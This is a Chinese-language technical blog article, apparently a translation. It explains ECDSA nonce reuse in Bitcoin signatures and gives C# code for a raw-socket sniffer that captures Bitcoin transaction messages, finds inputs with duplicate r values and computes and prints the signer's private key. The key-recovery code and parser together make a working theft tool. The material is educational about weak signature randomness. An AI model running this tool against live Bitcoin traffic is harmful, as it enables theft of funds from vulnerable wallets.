比特币流量嗅探器和分析器

目录

  • 免责声明
  • 介绍
  • 背景
  • 先例
    • IP 嗅探器
    • 比特币嗅探器
  • 代码
    • IP 嗅探器
    • 比特币嗅探器
  • 交易分析
    • 计算方面
      • 使用椭圆曲线数字签名算法(ECDSA)对数据签名
      • 从使用了相同 “随机” 值 k 的签名中计算私钥
    • 用 C# 编写计算程序
    • 剖析比特币交易信息
    • 比特币交易解析和处理
  • 总结
  • 特别感谢

免责声明

在一篇技术文章的开头写免责声明是少有的,但我认为这是必要的。因为在这篇文章中的一部分,我会介绍如何构建一个机器人来分析比特币的传入 / 传出流量, 还会介绍如何检查交易的数字签名中的漏洞。后者可能会使得通过数字签名来算出签名所用的私钥成为可能,也就意味着它会成为一种窃取比特币的手段。同时我也会说明为何我会相信像这样的机器人可以为比特币的生态以及我们的社会提供有用而宝贵的服务。

介绍

如果你有一个在服务器上运行的比特币节点,交易就会转发到你的节点,也正因如此,执行各种各样有趣的 TCP 流量分析也成为了可能。

在这篇文章里,我会展示如何运用一个简单的 IP 嗅探器来截取比特币的交易消息。另外,我还会向你展示如何检查一些交易的数字签名是否使用了相同的随机值 K。若它们使用了相同的 K 值,便意味着私钥能从这些数字签名中计算出来。

背景

年复一年,由于不安全的比特币地址管理,数百上千的比特币遭到了黑客的窃取。这在涉世未深的比特币生态系统中似乎是一个永无止境的问题。

最常见的故事听起来像这样:有个新的比特币钱包客户端,或者有个流行的比特币钱包客户端的新版本,只对某些公司和开源项目团队发布了。然后你试了一下,好像很不错。接着第二天,你打开钱包,然后发现了惊喜!空的!你的比特币就这样全没了。

先例

2014 年 12 月 1 日,我对 blockchain.info 上面的的数百个比特币地址遭盗用的事情感到非常惊讶。与此同时,我也对所有关于安全性的技术讨论,尤其是关于椭圆曲线数字签名算法(ECDSA)以及如何从重复使用相同随机值 R 的数字签名中获取私钥感到惊讶。事实上,有段时间我觉得有个机器人正在不断窃取比特币,这一想法整天在我脑海中回响,因此我制作了这个工具。

我曾以为,鉴于这事已经在此前发生过几次了,它应该不会再发生的。但我错了,它又发生了,而且可以肯定的是,这事以后还会发生好几次。

存在的问题

如果由你来开发一个处理比特币的应用,你会如何确定你所做的是对的?你怎么知道你的应用生成的地址是安全的?你又如何确认你的密钥管理方式是对的?

我们可以遵循严格的代码审查流程,运行测试或聘请密码学专家对代码进行评估。所有这些无疑都是很好的做法。问题是:这些做法足够应对比特币方面的要求吗?

过往经验令人沮丧:这还不够。比特币应用与其他类型的应用没有可比性,因为在其他应用中寻找安全漏洞的动机很少。与此相反,如有个黑客发现一个比特币应用里的漏洞,那他可就能分分钟变百万富翁了!因此,还请不要低估金钱刺激坏人的力量。

解决方案(利用坏人)

其实坏人可能对比特币生态系统有好处。如果数十,数百甚至数千的机器人在分析网络,想拿走你的比特币,那会怎么样?这听起来很糟糕,对吧?其实答案并不重要,因为这是不可避免的,我们可以预计越来越多的人会来分析比特币网络与其流量。

在这种情况下,其实你可以简单地用点比特币来测试你的应用,然后坐等它们被拿走。如果他们被拿走了,那么你绝对能确定你的应用程序是不安全的。这是迄今为止测试应用程序安全性最便宜的方法。事实上,这也取决于你投入多少。

与矿工通过执行网络安全验证交易并因此获得奖励一样,机器人可以通过试图拿走那些处于不太安全的地址的比特币来加强比特币生态系统的安全性。正如我刚才提到的那样,这也是一种激励。坏人会这样做的。如果能在有利于我们的前提下利用这一事实,那就是最好的。

代码

比特币协议非常复杂,因此我们不想从头开始实施它。而且一旦我们做错了,其他节点就会屏蔽掉我们的 IP。我们设想的是通过运行一个比特币节点,仅将它用来观察各个会话,以在比特币网络里帮点忙。

IP嗅探器

首先,我们需要拦截比特币的流量以便进行分析。有好几个 .NET 库可以实现这一功能。但在这里,为了好玩,我创建了一个名为 Open.Sniffer 的小型库来捕获 IP 流量(仅用于教育目的)。它使用原始套接字来捕获传入的数据包,然后解析 IP 包头以确定它们是 TCP 还是 UDP 的数据包,并为每个数据包触发相应的事件。

下图显示了我们必须解析的 IPv4 包头结构。可见根据 Protocol 字段值,我们就能知道载荷中的协议了。(可用协议列表及其编号在 http://en.wikipedia.org/wiki/List_of_IP_protocol_numbers

Ipv4 包头格式,图片截自维基百科
// 流量嗅探器的基类
public SnifferBase(IPAddress bindTo)
{
    // 构建并配置一个原始套接字
    _socket = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);
    _socket.Bind(new IPEndPoint(bindTo, 0));
    _socket.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, true); 
  	// 设置为真

    var byTrue = new byte[] {0x1, 0x0, 0x0, 0x0};
    var byOut = new byte[] {0x1, 0x0, 0x0, 0x0};

    _socket.IOControl(IOControlCode.ReceiveAll, byTrue, byOut);
}

private void OnReceive(IAsyncResult ar)
{
    var received = _socket.EndReceive(ar);
    var buffer = new ArraySegment(ar.AsyncState as byte[], 0, 32*1024);
    
    // 基于已有的类库解析 IP 包头
    var ipHeader = new IPHeader(buffer);
    var packet = ParseData(ipHeader);

    ProcessPacket(ipHeader.ProtocolType, packet);

    var header = new byte[32 * 1024];
    _socket.BeginReceive(header, 0, 32 * 1024, SocketFlags.None, OnReceive, header);
}

private object ParseData(IPHeader ipHeader)
{
    switch (ipHeader.ProtocolType)
    {
        case ProtocolType.Tcp:
            return new TcpHeader(ipHeader);

        case ProtocolType.Udp:
            return new UdpHeader(ipHeader);

        case ProtocolType.Unknown:
            return null;
    }
    throw new NotSupportedException();
}

比特币嗅探器

比特币的消息协议是基于 TCP 协议构建的,而且此时我们也截取到了 TCP 流量,那么若我们在默认端口(8333 端口)上运行我们的节点,那么我们就能筛选发给比特币节点的消息了。

当我们捕获一个数据包的时候,我们必须检查它是否是一个比特币交易的消息。具体而言,就是检查它是否是一个目标端口为 8333(或者我们的比特币节点正在监听的其他端口)的传入 TCP 流,接着检查消息的命令类型是否为 tx。下面这段代码就确切地展示了这些东西是怎么检查的。

// 在解析 IP 包头之后,这一方法就会被调用。这里是见证奇迹发生的地方。
protected override void ProcessPacket(ProtocolType protocolType, object packet)
{
    // 比特币是基于 TCP 建立的,我们只想检查 TCP 协议的数据包
    if (protocolType != ProtocolType.Tcp) return;

    var tcpHeader = (TcpHeader) packet;
    
    // 如果目标端口不是 8333,那就意味着它的发送目标不是比特币节点
    if (tcpHeader.DestinationPort != 8333) return;
    if(tcpHeader.MessageLength == 0) return;

    // 解析比特币消息头
    var btcHeader = new BtcHeader(tcpHeader);
    
    // 我们只关心交易消息
    if(! btcHeader.Command.StartsWith("tx")) return;

    // 解析交易消息
    var tx = ParseTx(btcHeader.Payload);
    
    // 这里就是执行我们的分析的地方 ---------------------+
                             //                        |
    ProcessTransaction(tx);  // <<---------------------+
}

交易分析

计算方面

使用椭圆曲线数字签名算法(ECDSA)对数据签名

现在是时候谈一谈数字签名了。在比特币中,数字签名用于验证作为交易输入数据的一部分的比特币的所有权。由于只有私钥所有者可以在特定地址解锁现有的比特币,因此需要解锁特定地址中的特定值的交易需要使用所有者的私钥进行签名。

我们说交易的数据是被签名的,但是我们并不对输入数据本身签名,而是它的散列 e。那么,我们就计算一下我们想要签名的消息的散列。

e=hash(m)

接着我们需要生成一个随机数 k。它只能用一次,因为如果我们重用它的话,用于签署消息的私钥就可能会通过核对签名算出来。本章的其余部分就介绍了如何核对重用 k 值的签名。

0<k<n

数字 n 被定义为椭圆曲线上的一个基点 G 在一个由椭圆曲线上的点构成的乘法群里的阶。比特币使用了名为Secp256k1的ECDSA参数集,后者给出了 G 和 n。其中 n 被定义为:

n=2^{256}-2^{32}-2^9-2^8-2^7-2^6-2^4-1

或者是:

n = 2 ^ {256} - 432420386565659656852420866394968145599

ECDSA 签名由一对数字 r 和 s 组成。其中 r 是点 R 的 x 坐标,计算公式如下:

R=\begin{pmatrix} { r }_{ x } \\ { r }_{ y } \end{pmatrix}=k\times G
r = r_x

此时,已知 G 和 r 求解 k 值就会是一个离散对数问题。由上式我们可见签名具有相同的 r 值也就意味着签名重用了相同的随机值 k 。

现在,给定一个私钥 x ,签名的第二部分 s 就能由下式给出:

s = k ^ { - 1}(e + xr)\ \ \ \ (mod \ \ n)

从使用了相同的“随机”值 k 的签名中计算私钥

正如我们在背景部分所说的,在比特币的发展历程里,随机值 k 的复用已经有过数次了。由于随机数生成算法被破坏(让它只生成一个相同的随机值 k),或者由于其他一些缘故使得 k 值并非真的随机生成的。(想想索尼的案例,k 在这里会是常数 4,太不随机了)

让我们看看如何做到这一点。假设我们有两个具有相同 k 值的签名 s1 和 s2 还有相应的交易输入数据散列 e1 和 e2。它们满足:

s_1 = k ^ { - 1}(e_1 + xr)\ \ \ \ (mod \ \ n)
s_2 = k ^ { - 1}(e_2 + xr)\ \ \ \ (mod \ \ n)

这等价于:

s_1 k = (e_1 + xr)\ \ \ \ (mod \ \ n)
s_2k = (e_2 + xr)\ \ \ \ (mod \ \ n)

此时我们的目的就是把私钥 x 从已知信息中提取出来。为了达到这个目的,我们就得先把签名时所用的 k 值算出来。首先将以上二式相减,如下所示:

s_1 k - s_2 k =(e_1 + xr) - (e_2 + xr)\ \ \ \ (mod \ \ n)
k(s_1-s_2)=(e_1-e_2)\ \ \ \ (mod \ \ n)
k =(s_1-s_2)^ { - 1} (e_1-e_2) \ \ \ \ (mod \ \ n)

这样我们就算出了 k 值,并且能最终算出私钥 x。我们从下式开始:

s_1 = k ^ { - 1}(e_1 + xr) \ \ \ \ (mod \ \ n)
s_2 = k ^ { - 1} (e_2 + xr)\ \ \ \ (mod \ \ n)
k = s_1^{-1}(e_1+xr) \ \ \ \ (mod \ \ n)
k = s_2^{-1}(e_2+xr) \ \ \ \ (mod \ \ n)

我们就从这些等式中提取 x:

s_1 k = e_1 + xr \ \ \ \ (mod \ \ n)
s_2 k = e_2 + xr \ \ \ \ (mod \ \ n)
s_1 k - e_1 = xr \ \ \ \ (mod \ \ n)
s_2 k - e_2 = xr \ \ \ \ (mod \ \ n)
x = r^{-1}(s_1 k - e_1) \ \ \ \ (mod \ \ n)
x = r^{-1}(s_2 k - e_2) \ \ \ \ (mod \ \ n)

s1 和 s2 对应的两个方程都是等价的,而前者是本文代码示例中使用的方程。但是,还有另一种方法可以找到不需要首先计算 k 的私钥 x。

注意到:

k = s_1^{-1} (e_1 + xr) \ \ \ \ (mod \ \ n)
k = s_2^{-1}(e_2 + xr) \ \ \ \ (mod \ \ n)

假定 k 在两个方程中都具有相同的值,那么我们就能联立二式把 k 约掉:

s_1^{-1} (e_1 + xr) = s_2^{-1}(e_2 + xr) \ \ \ \ (mod \ \ n)

现在在两边同时乘以(s1 * s2)就能得到:

s_2(e_1+xr) = s_1(e_2 + xr) \ \ \ \ (mod \ \ n)

将等式两边的括号去掉:

s_2e_1 + s_2xr = s_1e_2 + s_1xr \ \ \ \ (mod \ \ n)

同减 s1 * e2:

s_2 e_1 + s_2 xr - s_1 e_2 = s_1 e_2 + s_1 xr - s_1 e_2 \ \ \ \ (mod \ \ n)
s_2e_1+s_2xr-s_1e_2=s_1xr \ \ \ \ (mod \ \ n)

再同减 s2 * x * r:

s_2 e_1 + s_2xr - s_1 e_2 - s_2xr = s_1xr - s_2xr \ \ \ \ (mod \ \ n)
s_2 e_1 - s_1 e_2 = s_1xr - s_2xr \ \ \ \ (mod \ \ n)

然后移项并提取 x:

s_1 xr - s_2 xr = s_2 e_1 - s_1 e_2 \ \ \ \ \ (mod \ \ n)
xr(s_1 - s_2) = s_2 e_1 - s_1 e_2 \ \ \ \ (mod \ \ n)
x = r^{-1}(s_1 - s_2)^{-1}(s_2e_1 - s_1e_2) \ \ \ \ (mod \ \ n)

用 C# 编写计算程序

公钥,私钥,哈希还有签名都是大数,即便 .NET Framework 在版本 4 中引入了一个新类

BigNumber,用它来进行计算也还是有点困难。为此,本文的代码使用 BouncyCastle 类库来处理大数。

下面给出利用已知的两个输入数据的哈希值,签名的 s 值还有 r 值来计算私钥的公式,以及基于此公式执行计算的代码:

x = r^{-1}(s_1 k - e_1) \ \ \ \ (mod \ \ n)
private static BigInteger CalculatePrivateKey(BigInteger e1, BigInteger e2, BigInteger s1, BigInteger s2, BigInteger r)
{
    var n = BigInteger.Two.Pow(256).Subtract(new BigInteger("432420386565659656852420866394968145599"));

    var m1m2 = e1.Subtract(e2);
    var s1s2 = s1.Subtract(s2);
    var s1s2_inv = s1s2.ModInverse(n);

    // 私钥
    // x = (s1 * k - e1)/r   % n
    //
    var k = m1m2.Multiply(s1s2_inv).Mod(n);
    var t = s1.Multiply(k).Subtract(e1).Mod(n);

    var x = t.Multiply(r.ModInverse(n)).Mod(n);
    return x;
}

剖析比特币交易信息

此时我们已经知道了截取比特币交易消息的方法,以及在随机值 k 被复用的情况下提取私钥的数学原理。现在我们只要再了解如何从截取的原始交易消息里面提取全部所需的信息就行了。

这里我们有一个交易消息的例子:

01 00 00 00 02 f6 4c 60 3e 2f 9f 4d af 70 c2 f4 25 2b 2d cd b0 7c c0 19 2b 72 38 bc 9c 3d ac ba e5 55 ba f7 01 01 00 00 00 8a 47 30 44 02 20 d4 7c e4 c0 25 c3 5e c4 40 bc 81 d9 98 34 a6 24 87 51 61 a2 6b f5 6e f7 fd c0 f5 d5 2f 84 3a d1 02 20 44 e1 ff 2d fd 81 02 cf 7a 47 c2 1d 5c 9f d5 70 16 10 d0 49 53 c6 83 65 96 b4 fe 9d d2 f5 3e 3e 01 41 04 db d0 c6 15 32 27 9c f7 29 81 c3 58 4f c3 22 16 e0 12 76 99 63 5c 27 89 f5 49 e0 73 0c 05 9b 81 ae 13 30 16 a6 9c 21 e2 3f 18 59 a9 5f 06 d5 2b 7b f1 49 a8 f2 fe 4e 85 35 c8 a8 29 b4 49 c5 ff ff ff ff ff 29 f8 41 db 2b a0 ca fa 3a 2a 89 3c d1 d8 c3 e9 62 e8 67 8f c6 1e be 89 f4 15 a4 6b c8 d9 85 4a 01 00 00 00 8a 47 30 44 02 20 d4 7c e4 c0 25 c3 5e c4 40 bc 81 d9 98 34 a6 24 87 51 61 a2 6b f5 6e f7 fd c0 f5 d5 2f 84 3a d1 02 20 9a 5f 1c 75 e4 61 d7 ce b1 cf 3c ab 90 13 eb 2d c8 5b 6d 0d a8 c3 c6 e2 7e 3a 5a 5b 3f aa 5b ab 01 41 04 db d0 c6 15 32 27 9c f7 29 81 c3 58 4f c3 22 16 e0 12 76 99 63 5c 27 89 f5 49 e0 73 0c 05 9b 81 ae 13 30 16 a6 9c 21 e2 3f 18 59 a9 5f 06 d5 2b 7b f1 49 a8 f2 fe 4e 85 35 c8 a8 29 b4 49 c5 ff ff ff ff ff 01 a0 86 01 00 00 00 00 00 19 76 a9 14 70 79 2f b7 4a 5d f7 45 ba c0 7d f6 fe 02 0f 87 1c bb 29 3b 88 ac 00 00 00 00

为了能分析上面的交易消息,我们首先要了解消息的结构。下表就展示了我们必须解析的比特币交易消息的结构。

交易数据结构(Tx):

图片截自比特币维基百科

交易输入数据结构(Tx_in):

图片截自比特币维基百科

以下是跟我们要解析的交易的一样的范例:

var rtx = new byte[] {
    /*   0 - Version   */ 0x01, 0x00, 0x00, 0x00,
    /*   4 - # inputs  */ 0x02,
        /*   5 - in #1     */ 
            /*   5 - prev output */ 0xf6, 0x4c, 0x60, 0x3e, 0x2f, 0x9f, 0x4d, 0xaf, 0x70, 0xc2, 0xf4, 0x25, 0x2b, 0x2d, 0xcd, 0xb0, 0x7c, 0xc0, 0x19, 0x2b, 0x72, 0x38, 0xbc, 0x9c, 0x3d, 0xac, 0xba, 0xe5, 0x55, 0xba, 0xf7, 0x01, 
            /*  32 - output idx  */ 0x01, 0x00, 0x00, 0x00, 
            /*  41 - script len*/ 0x8a, 
            /*  42 - script    */ 0x47, /*len*/ 0x30, 0x44, //signature length 
            /*  45 - signature R   */ 0x02, 0x20,
            /*  47 */                 0xd4, 0x7c, 0xe4, 0xc0, 0x25, 0xc3, 0x5e, 0xc4, 0x40, 0xbc, 0x81, 0xd9, 0x98, 0x34, 0xa6, 0x24, 0x87, 0x51, 0x61, 0xa2, 0x6b, 0xf5, 0x6e, 0xf7, 0xfd, 0xc0, 0xf5, 0xd5, 0x2f, 0x84, 0x3a, 0xd1, 
            /*  79 - signature S   */ 0x02, 0x20, 
            /*  81 */                 0x44, 0xe1, 0xff, 0x2d, 0xfd, 0x81, 0x02, 0xcf, 0x7a, 0x47, 0xc2, 0x1d, 0x5c, 0x9f, 0xd5, 0x70, 0x16, 0x10, 0xd0, 0x49, 0x53, 0xc6, 0x83, 0x65, 0x96, 0xb4, 0xfe, 0x9d, 0xd2, 0xf5, 0x3e, 0x3e, 
            /* 113 - hashtype      */ 0x01, 
            /* 114 - pubkey    */ 0x41, 
            /* 115 */                 0x04, 0xdb, 0xd0, 0xc6, 0x15, 0x32, 0x27, 0x9c, 0xf7, 0x29, 0x81, 0xc3, 0x58, 0x4f, 0xc3, 0x22, 0x16, 0xe0, 0x12, 0x76, 0x99, 0x63, 0x5c, 0x27, 0x89, 0xf5, 0x49, 0xe0, 0x73, 0x0c, 0x05, 0x9b, 0x81, 0xae, 0x13, 0x30, 0x16, 0xa6, 0x9c, 0x21, 0xe2, 0x3f, 0x18, 0x59, 0xa9, 0x5f, 0x06, 0xd5, 0x2b, 0x7b, 0xf1, 0x49, 0xa8, 0xf2, 0xfe, 0x4e, 0x85, 0x35, 0xc8, 0xa8, 0x29, 0xb4, 0x49, 0xc5, 0xff, 
                                      0xff, 0xff, 0xff, 0xff,
        /* 184 - in #2     */ 
            /* 184 - prev output */ 0x29, 0xf8, 0x41, 0xdb, 0x2b, 0xa0, 0xca, 0xfa, 0x3a, 0x2a, 0x89, 0x3c, 0xd1, 0xd8, 0xc3, 0xe9, 0x62, 0xe8, 0x67, 0x8f, 0xc6, 0x1e, 0xbe, 0x89, 0xf4, 0x15, 0xa4, 0x6b, 0xc8, 0xd9, 0x85, 0x4a, 
            /* 216 - output idx  */ 0x01, 0x00, 0x00, 0x00, 
            /* 220 - script len*/ 0x8a, 
            /* 221 - script    */ 0x47, 0x30, 0x44, 
            /* 224 - signature R   */ 0x02, 0x20, 
            /* 226 */                 0xd4, 0x7c, 0xe4, 0xc0, 0x25, 0xc3, 0x5e, 0xc4, 0x40, 0xbc, 0x81, 0xd9, 0x98, 0x34, 0xa6, 0x24, 0x87, 0x51, 0x61, 0xa2, 0x6b, 0xf5, 0x6e, 0xf7, 0xfd, 0xc0, 0xf5, 0xd5, 0x2f, 0x84, 0x3a, 0xd1, 
            /* 258 - signature S   */ 0x02, 0x20, 
            /* 260 */                 0x9a, 0x5f, 0x1c, 0x75, 0xe4, 0x61, 0xd7, 0xce, 0xb1, 0xcf, 0x3c, 0xab, 0x90, 0x13, 0xeb, 0x2d, 0xc8, 0x5b, 0x6d, 0x0d, 0xa8, 0xc3, 0xc6, 0xe2, 0x7e, 0x3a, 0x5a, 0x5b, 0x3f, 0xaa, 0x5b, 0xab, 
            /* 292 - hashtype      */ 0x01, 
            /* 293 - pubkey    */ 0x41, 
            /* 294 */                 0x04, 0xdb, 0xd0, 0xc6, 0x15, 0x32, 0x27, 0x9c, 0xf7, 0x29, 0x81, 0xc3, 0x58, 0x4f, 0xc3, 0x22, 0x16, 0xe0, 0x12, 0x76, 0x99, 0x63, 0x5c, 0x27, 0x89, 0xf5, 0x49, 0xe0, 0x73, 0x0c, 0x05, 0x9b, 0x81, 0xae, 0x13, 0x30, 0x16, 0xa6, 0x9c, 0x21, 0xe2, 0x3f, 0x18, 0x59, 0xa9, 0x5f, 0x06, 0xd5, 0x2b, 0x7b, 0xf1, 0x49, 0xa8, 0xf2, 0xfe, 0x4e, 0x85, 0x35, 0xc8, 0xa8, 0x29, 0xb4, 0x49, 0xc5, 0xff, 
            /* 359 */                 0xff, 0xff, 0xff, 0xff,
    /* 363 - # outputs */ 0x01,
    /* 364 - out #1    */  
    /* 365 - value     */ 0xa0, 0x86, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 
    /* 373 - pk_script len */ 0x19, /* pk_script is 25 bytes long */ 
    /* 378 - pk_script */ 0x76, 0xa9, 0x14, 0x70, 0x79, 0x2f, 0xb7, 0x4a, 0x5d, 0xf7, 0x45, 0xba, 0xc0, 0x7d, 0xf6, 0xfe, 0x02, 0x0f, 0x87, 0x1c, 0xbb, 0x29, 0x3b, 0x88, 0xac,
    /* 398 - locktime  */ 0x00, 0x00, 0x00, 0x00
};

正如你所看到的那样,事务消息由输入数据集合和输出数据集合组成。我们可以弄一个 Tx(transaction)类的实例出来。

internal class Tx
{
    public int Version;
    public List<input> Inputs;
    public List<output> Outputs;
    public int Locktime;
}

我们关注的是交易事务输入数据里的签名脚本(ScriptSig),因为它包含了签名,而签名就是由可以拿来算出支付人私钥的 r 值和 s 值构成的。这里给出一个交易事务输入数据类,它具有类属性 R 和 S:

internal class Input
{
    public byte[] Previous;
    public long ScriptLength;
    public byte[] Script;
    public byte[] rawR;
    public byte HashType;
    public byte[] PublicKey;
    public int Seq;
    public BigInteger m;
    public byte[] rawS;
    public int PreviousSeq;

    public BigInteger M
    {
        set { m = value; }
        get
        {
            return m ?? BigInteger.Zero;
        }
    }

    public BigInteger S
    {
        get
        {
            return BigIntegerEx.FromByteArray(rawS);
        }
    }
    public BigInteger R
    {
        get
        {
            return BigIntegerEx.FromByteArray(rawR);
        }
    }
}    

比特币交易解析和处理

这部分就没那么有趣了。因为现在已经有很多能解析比特币交易事务的类库,从像 BlockchainParser 库那样细化用途的,再到像 NBitcoin 库那样非常成熟的,都应有尽有。不管怎样,这里的重点在于拿到 R 值还有 S 值,其余部分对本文来说并不重要。

private static Tx ParseTx(ArraySegment<byte> rtx)
{
	var tx = new Tx();
	using (var memr = new MemoryStream(rtx.Array, rtx.Offset, rtx.Count))
	{
		using (var reader = new BinaryReader(memr))
		{
			tx.Version = reader.ReadInt32();
			// 读取交易输入
			var ic = reader.ReadVarInt();
			tx.Inputs = new List<Input>((int)ic);
			for (var i = 0; i < ic; i++)
			{
				var input = new Input();
				input.Previous = reader.ReadBytes(32);
				input.PreviousSeq = reader.ReadInt32();
				input.ScriptLength = reader.ReadVarInt();
				input.Script = reader.ReadBytes(3);
				if (!(input.Script[1] == 0x30 && (input.Script[0] == input.Script[2] + 3)))
				{
					throw new Exception();
				}
				var vv = reader.ReadByte();
				// 在这里提取原始的 R 值
				input.rawR = reader.ReadStringAsByteArray();
				vv = reader.ReadByte();
				// 还有 S 值
				input.rawS = reader.ReadStringAsByteArray();
				input.HashType = reader.ReadByte();
				input.PublicKey = reader.ReadStringAsByteArray();
				input.Seq = reader.ReadInt32();
				tx.Inputs.Add(input);
			}
			// 读取交易输出信息
			.....
			..... 出于节省篇幅需要,略去此处代码
			.....
		}
	}
	return tx;
}

在所有输入数据都被解析之后,我们再来检查是否有至少两个输入数据有相同的 r 值,这意味着它们都是由相同的 k 值生成的(这一点都不随机!)。

有个更有效的方法就是对每个输入数据都检查它的 r 值是否和以前检查过的相同。

// 查找重复的 R 值
var inputs = tx.Inputs.GroupBy(x => x.R)
    .Where(x => x.Count() >= 2)
    .Select(y => y)
    .ToList();

if (inputs.Any())
{
    var i0 = inputs[0].First();
    var i1 = inputs[0].Last();

    var pp = CalculatePrivateKey(i0.M, i1.M, i0.S, i1.S, i0.R);
    var pkwif = KeyToWIF(pp.ToString(16));
    Console.WriteLine(" **************************************************************************");
    Console.WriteLine(" ****   pk: {0}", pkwif);
    Console.WriteLine(" **************************************************************************");
}    

总结

椭圆曲线数字签名算法(ECDSA)(以及很多数字签名算法,DSA)要求每个签名来源于新的随机数。不然签名所用的私钥就会从签名里算出来。鉴于 ECDSA 签名广泛用于比特币和其他加密货币领域,为确保资金只能由其所有者支付,重复使用随机数可能会导致这些资金的损失。

在加密货币的世界中,大多数对密码学意义上安全的伪随机数生成器(CSPRNGs )的注意力都集中在用于生成私钥上面,不过这里我们也解释了它们在签名生成过程中的重要性。出于这些原因,目前在很多加密货币还有一般的加密系统里面,确定性的 k 生成器是使用 HMAC 算法实现的。

特别感谢

本文的版权归 Tnecesoc 所有,如需转载请联系作者。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏申龙斌的程序人生

HD钱包【区块链生存训练】

早期的Bitcoin Core钱包一次性生成100个私钥,如果交易比较频繁,私钥可能会用光,然后再产生一批私钥,所以需要定期备份wallet.dat文件,否则会...

44611
来自专栏区块链技术指北

知名比特币轻钱包 Electrum 曝出漏洞,请及时更新到 3.0.5

本文由币乎社区(bihu.com)内容支持计划奖励。 这是「区块链技术指北」的第 17 篇文章。 如果对我感兴趣,想和我交流,我的微信号:Wentasy,加我时...

3254
来自专栏华章科技

看完此文再不懂区块链算我输:手把手教你用Python从零开始创建区块链

导读:如果你还没有听说过 3 点钟区块链群,说明你还不是链圈的人;如果你还没有加入 3 点钟区块链群,说明你还不是链圈的大佬;如果你还没有被 3 点钟区块链群刷...

532
来自专栏企鹅号快讯

以太坊区块链的大小不会在短时间内超过1TB

编者按:许多人误解了区块数据和 Chaindata 数据,认为以太坊区块数据量将会很快超过1TB ,从而使一般用户同步不了。这片文章起到了正本清源的作用。 在深...

4679
来自专栏区块链技术指北

Python 统计个人加密货币资产

这是「区块链技术指北」的第 7 篇文章。 如果对我感兴趣,想和我交流,我的微信号:Wentasy,加我时简单介绍下自己,并注明来自「区块链技术指北」。同时我会把...

3396
来自专栏程序猿DD

看完此文再不懂区块链算我输,用Python从零开始创建区块链

如果你还没有听说过 3 点钟区块链群,说明你还不是链圈的人;如果你还没有加入 3 点钟区块链群,说明你还不是链圈的大佬;如果你还没有被 3 点钟区块链群刷屏,说...

4588
来自专栏区块链入门

第十八课 【ERC875】Hiblock黑客马拉松门票从定制到编码实现

【本文目标】 通过本文,可以从一个HiBlock黑客马拉松活动门票定制,转让,出售和签到为例,说明ERC875的设计初心,ERC875的标准接口分析,也给出了...

672
来自专栏WindCoder

Time-locked Wallets:一个以太坊智能合约的教程

本次推荐的是一篇关于通过以太坊了解区块链的教程,能力有限,本身没接触过,各位尽量看原文吧。

742
来自专栏SAP最佳业务实践

SAP S/4 HANA新变化-FI:固定资产

DATA STRUCTURE CHANGES IN ASSET ACCOUNTING数据结构改变 Actual data of ANEK, ANEP, ANEA...

3476
来自专栏友弟技术工作室

EOS.IO 技术白皮书背景区块链应用的要求共识算法 (DPOS)帐户应用程序的确定性并行执行Token 模型与资源使用治理脚本 & 虚拟机跨链通信总结

草案:2017 年 6 月 26 日 (@dayzh (https://steemit.com/@dayzh))

682

扫码关注云+社区